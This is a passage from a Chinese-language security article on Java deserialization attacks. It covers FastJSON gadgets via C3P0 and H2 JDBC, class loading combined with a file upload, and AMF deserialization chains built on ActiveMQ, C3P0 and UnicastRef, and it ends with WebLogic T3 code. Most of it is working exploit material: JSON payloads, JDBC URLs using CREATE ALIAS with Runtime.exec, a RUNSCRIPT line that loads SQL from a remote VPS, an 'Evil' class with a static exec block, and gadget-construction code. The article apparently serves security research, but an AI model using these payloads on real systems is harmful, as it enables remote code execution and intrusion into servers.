那么在FastJSON反序列化时,如果classpath下存在C3P0以及一些不需要出网的Gadget(例如Commons-Collections、Commons-Beanutils)就可以实现不出网RCE。当然最优解是直接用前面章节提到的Java原生反序列化新增的几个利用链,FastJSON反序列化肯定存在FastJSON包,所以直接打FastJSON原生反序列化利用链即可。

{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:acedxxxxx;"}
  • H2

在近两年Java安全中很常用的技术 JDBC Attack,它主要的触发方式就是通过getConnection连接恶意服务或者设置恶意参数实现RCE,getConnection方法也符合getter格式,刚好我们前面提到了fastjson通过jsonobject或者$ref的方式可以触发getter方法,那么可能可以通过FastJSON调用H2的getConnection实现RCE。

org.h2.jdbcx.JdbcDataSource#getConnection

public Connection getConnection() throws SQLException {         this.debugCodeCall(“getConnection”);         return this.getJdbcConnection(this.userName,StringUtils.cloneCharArray(this.passwordChars)); //调用getJdbcConnection }

通过反序列控制url属性后connect触发JDBC Attack,

private JdbcConnection getJdbcConnection(String var1, char[] var2) throws SQLException {         if (this.isDebugEnabled()){                 this.debugCode("getJdbcConnection(" + quote(var1) + ", new char[0]);");         }         Properties var3 = new Properties();         var3.setProperty("user", var1);         var3.put("password", var2);         Connection var4 = Driver.load().connect(this.url, var3);

能够触发H2 JDBC Attack后,就需要研究如何不出网RCE了,H2常用的RCE姿势 1、RUNSCRIPT 加载远程SQL文件,(利用需出网) jdbc:h2:mem:testdb; INIT=RUNSCRIPT FROM ‘http://VPS/poc.sql'2、Trigger 编译执行Javascript , <>,(仅支持>=1.4.197版本) jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS ‘//javascript java.lang.Runtime.getRuntime().exec(“open -a Calculator.app”)’

3、jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('open -a calculator.app')\;

最终的利用方式:

[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource""url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}]
  • 文件上传结合

com.alibaba.fastjson.serializer.MiscCodec#deserialize中,FastJSON允许的反序列化类型中包含了Charset,

else if (clazz == Charset.class) {    return Charset.forName(strVal);

如果反序列化的类型是Charset,会调用到Charset forname加载这个字符集,

public static Charset forName(String charsetName) {    Charset cs = lookup(charsetName);    if (cs != null)        return cs;    throw new UnsupportedCharsetException(charsetName);}

在lookup方法中,会尝试从多个地方加载这个字符集类,然后实例化,lookupExtendedCharset尝试加载扩展的字符集。

private static Charset lookupExtendedCharset(String charsetName) {    CharsetProvider ecp = ExtendedProviderHolder.extendedProvider;    return (ecp != null) ? ecp.charsetForName(charsetName) : null;}

这里扩展字符集的包名限制了必须为sun.nio.cs.ext,

private Charset lookup(String var1) {    SoftReference var2 = (SoftReference)this.cache.get(var1);    if (var2 != null) {        Charset var3 = (Charset)var2.get();        if (var3 != null) {            return var3;        }    }    String var9 = (String)this.classMap.get(var1);    if (var9 == null) {        return null;    } else {        try {            Class var4 = Class.forName(this.packagePrefix + "." + var9, truethis.getClass().getClassLoader());            Charset var5 = (Charset)var4.newInstance();            this.cache.put(var1, new SoftReference(var5));            return var5;        } catch (ClassNotFoundException var6) {            return null;        } catch (IllegalAccessException var7) {            return null;        } catch (InstantiationException var8) {            return null;        }    }}

这里就存在了一个场景,如果目标使用了安全版本的FastJSON以及以FatJAR模式起的WEB服务,存在一个任意地址的文件上传漏洞,但是由于FatJAR的问题导致了无法上传JSP文件利用。

类的加载会先从Bootstrap ClassLoader尝试加载,当找不到该类时,才会从下一级的ExtClassLoader尝试加载。这里可以直接覆盖到charset.jar,除了这些JAR,类加载地址中还会有jre classes(默认不存在这个目录),如果文件上传可以指定目录以及自动创建目录,那么往这个目录下写入恶意类,然后通过FastJSON加载即可实现RCE。

除了这种Charset,Fastjson还允许非常多的期望类,比如<=1.2.80都允许Exception,这时候写一个恶意类继承Exception,然后依然上传到classes中,通过fastjson加载。

当然这种利用方式特别鸡肋,需要高权限需要猜测JDK地址,需要能创建目录,在实战中比较难碰到。

import java.io.IOException;public class Evil extends Exception {    static {        try {            Runtime.getRuntime().exec("open -a calculator.app");        } catch (IOException e) {            throw new RuntimeException(e);        }    }    public Evil() throws IOException {        Runtime.getRuntime().exec("open -a calculator.app");    }}

 AMF反序列化 

  • 基础介绍

AMF(Action Message Format)是一种由Adobe开发的二进制序列化格式,广泛用于Flash和Flex应用程序的数据传输。AMF反序列化指的是将AMF格式的数据转换为可操作的对象或数据结构。由于AMF反序列化过程会自动创建对象,恶意构造的AMF数据包可能触发代码执行。

  • 利用剖析

AMF基于序列化和反序列化机制处理网络中的特定格式的二进制数据,相关的特性表现为可以序列化/反序列化任意类,我们选择利用时选择的反序列化目标类主要体现在继承了Externalizable的类和javaBean中。在AMF中分别提供了序列化和反序列化的方法,相关代码如下:

import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.*;import java.beans.PropertyVetoException;import java.io.*;public class AMFUtils {    public static byte[] serialize(Object data) throws IOException {        MessageBody body = new MessageBody();        body.setData(data);        ActionMessage message = new ActionMessage();        message.addBody(body);        ByteArrayOutputStream out = new ByteArrayOutputStream();        AmfMessageSerializer serializer = new AmfMessageSerializer();        serializer.initialize(SerializationContext.getSerializationContext(), out, null);        serializer.writeMessage(message);        return out.toByteArray();    }    public static void deserialize(String path) throws IOException, ClassNotFoundException {        InputStream inputStream = new FileInputStream(new File(path));        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        int n = 0;        while ((n=inputStream.read())!=-1){            byteArrayOutputStream.write(n);        }        byte[] amf = byteArrayOutputStream.toByteArray();        ByteArrayInputStream in = new ByteArrayInputStream(amf);        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);        ActionMessage actionMessage = new ActionMessage();        deserializer.readMessage(actionMessage, new ActionContext());    }    }

根据以上代码,我们接下来可以大致分析下AMF中是如何封装对象,并且从二进制数据流中恢复对象的,这样有助于构造我们后面的利用链的构造,根据以往经验,当我们尝试通过以上代码去当序列化JavaBean对象时会调用目标类的getter方法,反序列化JavaBean对象则会调用目标类的构造方法和setter方法。而当反序列化继承了Externalizable的对象时,则会调用目标类的readExternal方法,如下表示AMF序列化一个JavaBean对象时的特性,

根据上述首先分析AMF处理javabean对象时的场景,提取如下代码进一步分析,

AmfMessageSerializer serializer = new AmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(), outnull);serializer.writeMessage(message);

ActionMessage方法,封装了三个变量version、headers、bodies,

public ActionMessage() {    this.version = 3;    this.headers = new ArrayList();    this.bodies = new ArrayList();}public ActionMessage(int version) {    this.version = version;    this.headers = new ArrayList();    this.bodies = new ArrayList();}

接下来直接从writeMessage开始分析,主要是将一个ActionMessage对象写入到输出流中,代码中分别序列化了AMF的版本,AMF分为0和3两个版本,默认使用0版本(可指定)。以及头和消息体,也就是说经过AMF序列化后的对象持久化后由这三部分组成(即前面提到的/tmp/person)。

public void writeMessage(ActionMessage m) throws IOException {    if (this.isDebug) {        this.debugTrace.startResponse("Serializing AMF/HTTP response");    }    int version = m.getVersion();    this.amfOut.setAvmPlus(version >= 3);    this.amfOut.writeShort(version);    if (this.isDebug) {        this.debugTrace.version(version);    }    int headerCount = m.getHeaderCount();    this.amfOut.writeShort(headerCount);    int bodyCount;    for(bodyCount = 0; bodyCount < headerCount; ++bodyCount) {        MessageHeader header = m.getHeader(bodyCount);        if (this.isDebug) {            this.debugTrace.startHeader(header.getName(), header.getMustUnderstand(), bodyCount);        }        this.writeHeader(header);        if (this.isDebug) {            this.debugTrace.endHeader();        }    }    bodyCount = m.getBodyCount();    this.amfOut.writeShort(bodyCount);    for(int i = 0; i < bodyCount; ++i) {        MessageBody body = m.getBody(i);        if (this.isDebug) {            this.debugTrace.startMessage(body.getTargetURI(), body.getResponseURI(), i);        }        this.writeBody(body);        if (this.isDebug) {            this.debugTrace.endMessage();        }    }}

这里主要关注AMF是如何序列化body的核心逻辑writeBody方法,它最后调用了AMF中真正的核心处理java对象的放方法Amf0Output.class#writeObject,

public void writeBody(MessageBody b) throws IOException {    if (b.getTargetURI() == null) {        this.amfOut.writeUTF("null");    } else {        this.amfOut.writeUTF(b.getTargetURI());    }    if (b.getResponseURI() == null) {        this.amfOut.writeUTF("null");    } else {        this.amfOut.writeUTF(b.getResponseURI());    }    this.amfOut.writeInt(-1);    this.amfOut.reset();    Object data = b.getData();    this.writeObject(data); //处理Person对象}public void writeObject(Object value) throws IOException {    this.amfOut.writeObject(value);}

writeObject用于将不同类型的Java对象转换为 AMF 格式的二进制数据,最后处理person对象的逻辑如下,这里实际上会调用Amf3Output.class#writeObject,并且会通过writeAMFNull方法处理null值,确保 AMF 格式正确。

{    if (this.avmPlusOutput == null) {        this.createAMF3Output();    }    this.out.writeByte(17);    this.avmPlusOutput.writeObject(o);}

Amf3Output中同样也会处理null值,如果是继承了Externalizable的类则直接调用writeCustomObject,

否则走以下逻辑,处理了Throwable、RowSet,再调用writeCustomObject,否则直接调用,

else {    if (o instanceof RowSet) {        o = new PagedRowSet((RowSet)o, Integer.MAX_VALUEfalse);    } else if (this.context.legacyThrowable && o instanceof Throwable) {        o = new StatusInfoProxy((Throwable)o);    }    this.writeCustomObject(o);}

在writeCustomObject中还会处理 PropertyProxy 代理对象、集合、数组、Map,以及普通 Java 对象,然后调用writePropertyProxy,此时的proxy对象类型为BeanProxy。

protected void writeCustomObject(Object o) throws IOException {        PropertyProxy proxy = null;        if (o instanceof PropertyProxy) {            proxy = (PropertyProxy)o;            o = proxy.getDefaultInstance();            if (o == null) {                this.writeAMFNull();                return;            }        }        this.out.write(10);        if (!this.byReference(o)) {            if (proxy == null) {                proxy = PropertyProxyRegistry.getProxyAndRegister(o);            }            this.writePropertyProxy(proxy, o);        }    }

PropertyProxyRegistry代理机制,如果对象为JavaBean则配置proxy为flex.messaging.io.BeanProxy给writePropertyProxy,

private static PropertyProxy guessProxy(Object instance) {    Object proxy;    if (instance instanceof Map) {        proxy = new MapProxy();    } else if (instance instanceof Throwable) {        proxy = new ThrowableProxy();    } else if (!(instance instanceof PageableRowSet) && !(instance instanceof RowSet)) {        if (instance instanceof Dictionary) {            proxy = new DictionaryProxy();        } else {            proxy = new BeanProxy();        }    } else {        proxy = new PageableRowSetProxy();    }    return (PropertyProxy)proxy;}

writePropertyProxy主要用来反序列化对象的属性,如果是Externalizable则采用它自身的序列化方法(writeExternal),否者获取该对象的属性名 propertyNames,如果代理是 BeanProxy 的实例,代码会检查该对象的属性是否是 writeOnly(通过属性是否存在getter和setter方法进行判断),即该属性只能写入,不能读取。

如果是 writeOnly 属性,会将其从属性名列表中移除,然后再由TraitsInfo类封装数据,writePropertyProxy也是最终AMF序列化对象的核心逻辑。

protected void writePropertyProxy(PropertyProxy proxy, Object instance) throws IOException {    Object newInst = proxy.getInstanceToSerialize(instance);    if (newInst != instance) {        if (newInst == null) {            throw new MessageException("PropertyProxy.getInstanceToSerialize class: " + proxy.getClass() + " returned null for instance class: " + instance.getClass().getName());        }        proxy = PropertyProxyRegistry.getProxyAndRegister(newInst);        instance = newInst;    }    List propertyNames = null;    boolean externalizable = proxy.isExternalizable(instance);    if (!externalizable) {        propertyNames = proxy.getPropertyNames(instance);        if (proxy instanceof BeanProxy) {            BeanProxy bp = (BeanProxy)proxy;            if (propertyNames != null && !propertyNames.isEmpty()) {                List<String> propertiesToRemove = null;                for(int i = 0; i < propertyNames.size(); ++i) {                    String propName = (String)propertyNames.get(i);                    if (bp.isWriteOnly(instance, propName)) {                        if (propertiesToRemove == null) {                            propertiesToRemove = new ArrayList();                        }                        propertiesToRemove.add(propName);                    }                }                if (propertiesToRemove != null) {                    propertyNames.removeAll(propertiesToRemove);                }            }        }    }    TraitsInfo ti = new TraitsInfo(proxy.getAlias(instance), proxy.isDynamic(), externalizable, propertyNames);    this.writeObjectTraits(ti);    if (externalizable) {        ((Externalizable)instance).writeExternal(this);    } else if (propertyNames != null && !propertyNames.isEmpty()) {        for(int i = 0; i < propertyNames.size(); ++i) {            String propName = (String)propertyNames.get(i);            Object value = proxy.getValue(instance, propName);            this.writeObjectProperty(propName, value);        }    }    this.writeObjectEnd();}

至于为什么会调用javabean的getter方法,因为在BeanProxy.class#get中使用了反射。

public Object get(Object bean) throws IllegalAccessException, InvocationTargetException {    Object obj = null;    if (this.readMethod != null) {        obj = this.readMethod.invoke(bean, (Object[])null);    } else if (this.field != null) {        obj = this.field.get(bean);    }    return obj;}

通过以上分析,我们可以发现在AMF序列化对象时的特性,整个流程看下来,AMF可以序列化任意类型对象,并没有限制。然后通过代理机制来序列化类,并当序列化Externalizable对象时调用其writeExternal方法,序列化的数据由三部分组成,并且会调用javaBean对象的getter方法。分析序列化过程有利于我们构造序列化数据,接下来分析AMF中的反序列化一个对象的。

在readMessage方法中,会判断二进制文件的头,限定了amf的头只能是0000、0001、0003三个值,

首先Amf0Input.class的readObjectValue(int type)中的case通过type值走不同逻辑,这里javabean的type为16,

protected Object readObjectValue(int type) throws ClassNotFoundException, IOException {        Object value = null;        switch (type) {            case 0:                value = this.readDouble();                break;            case 1:                value = this.readBoolean();                break;            ..........            case 16:                String typeName = this.in.readUTF();                value = this.readObjectValue(typeName);                break;            case 17:                if (this.avmPlusInput == null) {                    this.avmPlusInput = new Amf3Input(this.context);                    this.avmPlusInput.setDebugTrace(this.trace);                    this.avmPlusInput.setInputStream(this.in);                }                value = this.avmPlusInput.readObject();        }        return value;}

然后在readObjectValue中的proxy.setValue则会调用类的setter,

protected Object readObjectValue(String className) throws ClassNotFoundException, IOException {    Object[] params = new Object[]{className, null};    Object object = this.createObjectInstance(params);    className = (String)params[0];    PropertyProxy proxy = (PropertyProxy)params[1];    int objectId = this.rememberObject(object);    if (this.isDebug) {        this.trace.startAMFObject(className, this.objectsTable.size() - 1);    }    String propertyName = this.in.readUTF();    Object newObj;    for(int type = this.in.readByte(); type != 9; type = this.in.readByte()) {        if (this.isDebug) {            this.trace.namedElement(propertyName);        }        newObj = this.readObjectValue(type);        proxy.setValue(object, propertyName, newObj);        propertyName = this.in.readUTF();    }    if (this.isDebug) {        this.trace.endAMFObject();    }    newObj = proxy.instanceComplete(object);    if (newObj != object) {        this.objectsTable.set(objectId, newObj);        object = newObj;    }    return object;}

如果是继承了Externalizable的类的话则会走type=17的逻辑,进而调用到Amf3Inpu中的readScriptObject方法,

protected Object readScriptObject() throws ClassNotFoundException, IOException {    int ref = this.readUInt29();    if ((ref & 1) == 0) {        return this.getObjectReference(ref >> 1);    } else {        TraitsInfo ti = this.readTraits(ref);        String className = ti.getClassName();        boolean externalizable = ti.isExternalizable();        Object[] params = new Object[]{className, null};        Object object = this.createObjectInstance(params);        className = (String)params[0];        PropertyProxy proxy = (PropertyProxy)params[1];        int objectId = this.rememberObject(object);        if (externalizable) {            this.readExternalizable(className, object);        } else {            .......        return object;    }}

最后在readExternalizable方法中调用了目标类的readExternal方法,

protected void readExternalizable(String className, Object object) throws ClassNotFoundExceptionIOException {    if (object instanceof Externalizable) {        ClassUtil.validateCreation(Externalizable.class);        if (this.isDebug) {            this.trace.startExternalizableObject(className, this.objectTable.size() - 1);        }        ((Externalizable)object).readExternal(this);    } else {        SerializationException ex = new SerializationException();        ex.setMessage(10305new Object[]{object.getClass().getName()});        throw ex;    }}

综上,AMF在反序列化时会调用目标类的readExternal和setter方法,接下来我们根据这个特性去构造反序列化链。

  • 利用方式发展

setter 与 readExternal  公开利用

根据以上特性在公开的利用链分为以下几种,接下里我们分析下每条链:

  1. setter类型:ReplicatedTree链、C3P0链、SpringPropertyPathFactory链

  2. readExternal类型: UnicastRef链、UnicastRef2链、MetaDataEntry链

其中 ReplicatedTree 和 MetaDataEntry 具体的利用细节可以参考  https://github.com/codewhitesec/ColdFusionPwn 其中  MetaDataEntry 链也用到了二次反序列化的思路,将 AMF 序列化转换成 Java 原生序列化。

PropertyPathFactoryBean链

通过org.springframework.beans.factory.config.PropertyPathFactoryBean#setBeanFactory这个 setter 进行利用,通过设置 beanFactory 属性为 org.springframework.jndi.support.SimpleJndiBeanFactory#SimpleJndiBeanFactory 最后利用JNDI,所以受到JDK版本和出网影响。

public void setBeanFactory(BeanFactory beanFactory) {        this.beanFactory = beanFactory;        if (this.targetBeanWrapper != null && this.targetBeanName != null) {            throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");        } else {            ......            if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) {                Object bean = this.beanFactory.getBean(this.targetBeanName);                this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);                this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);            }        }    }
public <T> T getBean(String name, Class<TrequiredTypethrows BeansException {    try {    //        return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);    } catch (NameNotFoundException var4) {        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");    } catch (TypeMismatchNamingException var5) {        throw new BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());    } catch (NamingException var6) {        throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", var6);    }}

UnicastRef链

这条链主要依赖JRMP相关的操作,在 sun.rmi.server.UnicastRef#readExternal 中连接远程 JRMP 然后进行序列化操作,后续的攻击还是要依赖于 Java 原生序列化的 Gagdet

核心利用代码如下:

 public static Object generateUnicastRef(String host, int port) {        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);        return new sun.rmi.server.UnicastRef(liveRef);    }
  • 不出网利用

ActiveMQ

这是我们在实战中挖掘和成功使用过的利用链,在之前的关于ActiceMQ的反序列化的公开文章中,提到了ActiveMQObjectMessage这个类。

 String cmd="rO0ABX"; String payload = String.format("[main]\n" +                "bs = org.apache.activemq.util.ByteSequence\n" +                "message = org.apache.activemq.command.ActiveMQObjectMessage\n" +                "bs.data = %s\n" +                "bs.length = %d\n" +                "bs.offset = 0\n" +                "message.content = $bs\n" +                "message.trustAllPackages = true\n" +                "message.object.x = x", cmd, cmd.length());IniEnvironment iniEnvironment=new IniEnvironment(payload);

在AMF中的构造如下,

String cmd="rO0ABXNyAB.....";byte[] bytes = Base64.getDecoder().decode(cmd);ByteSequence byteSequence = new ByteSequence(bytes);ActiveMQObjectMessage activeMQObjectMessage = new ActiveMQObjectMessage();activeMQObjectMessage.setContent(byteSequence);BasicComboBoxEditor basicComboBoxEditor = new BasicComboBoxEditor();basicComboBoxEditor.setItem(activeMQObjectMessage);

javax.swing.plaf.basic.BasicComboBoxEditor存在以下setter方法,会调用对象的toString方法,

public void setItem(Object anObject) {    String text;    if ( anObject != null )  {        text = anObject.toString();        if (text == null) {            text = "";        }        oldValue = anObject;    } else {        text = "";    }    // workaround for 4530952    if (! text.equals(editor.getText())) {        editor.setText(text);    }}

通过这里我们就可以结合toSting的链子进行利用,首先就可以想到以下:

  1. com.fasterxml.jackson.databind.node.BaseJsonNode

  2. com.alibaba.JSONArray也存在toString

但是如果最后都是通过toString去调用TemplatesImpl#getOutputProperties的话则会利用失败,原因在于AMF调用setter去恢复对象完成反序列话对象,但像_bytecodes、_name并没有setter方法,无法完整还原对象导致利用失败,这里结合toString+ActiveMQObjectMessage进行二次反序列化构造,以下是调用过程:

ActiveMQObjectMessage存在toString方法并且会调用getObject方法,

public String toString() {    try {        this.getObject();    } catch (JMSException var2) {    }    return super.toString();}

getObject这里存在二次反序列化,这里主要是构造content字段即可。

public Serializable getObject() throws JMSException {    if (this.object == null && this.getContent() != null) {        try {            ByteSequence content = this.getContent();            InputStream is = new ByteArrayInputStream(content);            if (this.isCompressed()) {                is = new InflaterInputStream((InputStream)is);            }            DataInputStream dataIn = new DataInputStream((InputStream)is);            ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);            try {                this.object = (Serializable)objIn.readObject();            } catch (ClassNotFoundException var10) {                throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + var10, var10);            } finally {                dataIn.close();            }        } catch (IOException var12) {            throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + var12, var12);        }    }    return this.object;}

调用栈如下:

access$000:56, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)run:401, TemplatesImpl$1 (com.sun.org.apache.xalan.internal.xsltc.trax)doPrivileged:-1, AccessController (java.security)defineTransletClasses:399, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [3]invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:426, PropertyUtils (org.apache.commons.beanutils)compare:157, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)getObject:191, ActiveMQObjectMessage (org.apache.activemq.command)toString:232, ActiveMQObjectMessage (org.apache.activemq.command)setItem:77, BasicComboBoxEditor (javax.swing.plaf.basic)invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)set:807, BeanProxy$BeanProperty (flex.messaging.io)setValue:265, BeanProxy (flex.messaging.io)readObjectValue:406, Amf0Input (flex.messaging.io.amf)readObjectValue:132, Amf0Input (flex.messaging.io.amf)readObject:94, Amf0Input (flex.messaging.io.amf)readObject:227, AmfMessageDeserializer (flex.messaging.io.amf)readBody:206, AmfMessageDeserializer (flex.messaging.io.amf)readMessage:126, AmfMessageDeserializer (flex.messaging.io.amf)main:24, Apptest
C3P0

C3P0链在之前的利用中主要分为两种,一种是出网的远程类加载、另一种则是不出网的二次hex反序列化利用和结合EL表达式的利用。这里不再分析C3p0,主要是不出网利用在AMF中的构造,代码如下:

因为在整个利用流程中,我们只会用到hexstring这个属性值因此本地更改WrapperConnectionPoolDataSource的逻辑后,根据AMF序列化时会调用getter方法的特性将属性hexstring封装到序列化数据中。

package com.mchange.v2.c3p0;import java.beans.PropertyVetoException;public  class WrapperConnectionPoolDataSource {    private String payload;    private String hexstring;    public WrapperConnectionPoolDataSource(String payload){        this.payload = payload;    }    public  String getUserOverridesAsString() {        hexstring=payload;        return this.hexstring;    }    public  void setUserOverridesAsString(String hexstring) throws PropertyVetoException {    }}

然后反序列化,

String hexstring="HexAsciiSerializedMap:ACED;";WrapperConnectionPoolDataSource wrapper = new WrapperConnectionPoolDataSource(hexstring);FileOutputStream fileOutputStream = new FileOutputStream(new File("/tmp/c3p0"));fileOutputStream.write(serialize(wrapper));deserialize("/tmp/c3p0");

反序列化调用栈如下,主要是反序列化时,调用了setUserOverridesAsString方法,

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498Method (java.lang.reflect)invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:426, PropertyUtils (org.apache.commons.beanutils)compare:157, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:722, PriorityQueue (java.util)siftDown:688, PriorityQueue (java.util)heapify:737, PriorityQueue (java.util)readObject:797, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)fromByteArray:123, SerializableUtils (com.mchange.v2.ser)parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)fireVetoableChange:375, VetoableChangeSupport (java.beans)fireVetoableChange:271, VetoableChangeSupport (java.beans)setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498Method (java.lang.reflect)set:807, BeanProxy$BeanProperty (flex.messaging.io)setValue:265, BeanProxy (flex.messaging.io)readScriptObject:438, Amf3Input (flex.messaging.io.amf)readObjectValue:152, Amf3Input (flex.messaging.io.amf)readObject:130, Amf3Input (flex.messaging.io.amf)readObjectValue:123, Amf0Input (flex.messaging.io.amf)readObject:94, Amf0Input (flex.messaging.io.amf)readObject:227, AmfMessageDeserializer (flex.messaging.io.amf)readBody:206, AmfMessageDeserializer (flex.messaging.io.amf)readMessage:126, AmfMessageDeserializer (flex.messaging.io.amf)deserialize:36, C3p0Gadgetsmain:46, C3p0Gadgets

 其他协议 

反序列化漏洞的风险远不局限于HTTP协议的数据传输场景,其威胁范围实际上覆盖了所有涉及Java对象序列化与反序列化的通信协议。在像RMI这样的RPC协议中,反序列化是核心实现机制;Oracle WebLogic的T3协议,作为专有的Java对象传输协议,其内置的序列化机制也成为了多起高危漏洞的根源。这类安全威胁的本质,源于Java原生反序列化机制在类型安全校验上的缺失,使得任何接受不可信序列化数据的通信层都可能成为攻击面。当然,其他协议的序列化/反序列化方式也不尽相同。T3依赖Java原生反序列化,Dubbo默认使用Hessian,而像ActiveMQ等则可能自定义序列化方式。

为了在不同协议中实现序列化,通常需要构造符合协议要求的数据包,例如一些协议可能包含特定的头信息、Magic number等,序列化数据则紧随其后。

Weblogic T3实现的代码如下,可以发现最后具体的实现也是JAVA原生反序列化。

package weblogic.rjvm;import java.io.IOException;import java.io.ObjectInputStream;import java.io.StreamCorruptedException;import weblogic.protocol.ServerChannel;import weblogic.protocol.ServerChannelStream;import weblogic.utils.collections.Stack;final class InboundMsgAbbrev {    private static final boolean DEBUG = false;    private final Stack abbrevs = new Stack();    InboundMsgAbbrev() {    }    void read(MsgAbbrevInputStream var1, BubblingAbbrever var2) throws IOException, ClassNotFoundException {        int var3 = var1.readLength();        for(int var4 = 0; var4 < var3; ++var4) {            int var5 = var1.readLength();            Object var6;            if (var5 > var2.getCapacity()) {                var6 = this.readObject(var1);                var2.getAbbrev(var6);                this.abbrevs.push(var6);            } else {                var6 = var2.getValue(var5);                this.abbrevs.push(var6);            }        }    }    private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {        int var2 = var1.read();        switch (var2) {            case 0:                return (new ServerChannelInputStream(var1)).readObject();            case 1:                return var1.readASCII();            default:                throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");        }    }    void reset() {        this.abbrevs.clear();    }    void writeTo(MsgAbbrevOutputStream var1) throws IOException {        int var2 = this.abbrevs.size();        for(int var3 = 0; var3 < var2; ++var3) {            var1.getAbbrevs().addAbbrev(this.getAbbrev());        }    }    Object getAbbrev() {        return this.abbrevs.pop();    }    public String toString() {        return super.toString() + " - abbrevs: '" + this.abbrevs + "'";    }    private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {        private final ServerChannel serverChannel;        private ServerChannelInputStream(MsgAbbrevInputStream var1) throws IOException {            super(var1);            this.serverChannel = var1.getServerChannel();        }        public ServerChannel getServerChannel() {            return this.serverChannel;        }    }}

反序列化防护与对抗

